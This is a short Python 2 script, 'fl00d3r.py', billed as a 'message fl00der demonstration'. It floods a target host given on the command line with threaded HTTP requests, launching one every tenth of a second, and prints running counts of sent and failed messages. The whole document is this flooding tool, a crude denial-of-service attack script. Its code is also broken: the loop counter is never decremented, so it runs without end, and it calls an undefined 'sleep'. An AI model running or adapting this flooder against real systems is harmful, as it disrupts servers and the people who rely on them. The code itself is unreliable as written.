Urllib message fl00der demonstration.

fl00d3r.py

import sys
import time
import thread
import urllib

global sent, error
sent = error = 0

def _send(tgt, msg):
	global sent, error
	try:
		urllib.urlopen("http://{0}/{1}".format(tgt, msg))
		sent += 1
	except:
		error += 1

if len(sys.argv) == 4:
	lim = int(sys.argv[3])
else:
	lim = 1999

while lim:
	thread.start_new_thread(_send,(sys.argv[1], sys.argv[2],))
	time.sleep(.1)
	print("[+] total of messages sent: {0} ; fail: {1}".format(sent, error))

while not lim == (error + sent):
	sleep(1)